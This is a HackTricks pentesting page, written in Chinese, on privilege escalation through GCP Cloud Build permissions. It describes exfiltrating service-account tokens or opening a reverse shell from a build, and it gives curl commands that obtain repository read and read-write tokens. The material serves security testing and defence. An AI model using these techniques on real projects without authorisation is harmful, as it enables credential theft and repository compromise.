GCP - Cloudbuild Privesc

支持 HackTricks

cloudbuild

有关 Cloud Build 的更多信息,请查看:

GCP - Cloud Build Enum

cloudbuild.builds.create

通过此权限,您可以提交云构建。cloudbuild 机器的文件系统中默认会有一个 cloudbuild 服务账户的令牌<PROJECT_NUMBER>@cloudbuild.gserviceaccount.com。但是,您可以在 cloudbuild 配置中指示项目内的任何服务账户。 因此,您可以让机器将令牌外泄到您的服务器,或在其中获取反向 shell 并获取令牌(包含令牌的文件可能会更改)。

您可以在 GitHub 上找到原始利用脚本(但我发现它获取令牌的位置对我无效)。因此,请查看一个脚本以自动化 创建、利用和清理漏洞环境 和一个 Python 脚本以在 cloudbuild 机器中获取反向 shell 并 窃取它(在代码中您可以找到如何指定其他服务账户的方式)

有关更深入的解释,请访问 https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/

cloudbuild.builds.update

潜在地,通过此权限,您将能够更新云构建并窃取服务账户令牌,就像之前的权限所执行的那样(但不幸的是,在撰写本文时,我找不到任何调用该 API 的方法)。

TODO

cloudbuild.repositories.accessReadToken

通过此权限,用户可以获取用于访问存储库的读取访问令牌

curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadToken"

cloudbuild.repositories.accessReadWriteToken

拥有此权限的用户可以获取用于访问存储库的读写访问令牌

curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadWriteToken"

cloudbuild.connections.fetchLinkableRepositories

通过此权限,您可以获取连接可以访问的仓库:

curl -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>:fetchLinkableRepositories"
支持 HackTricks

Last updated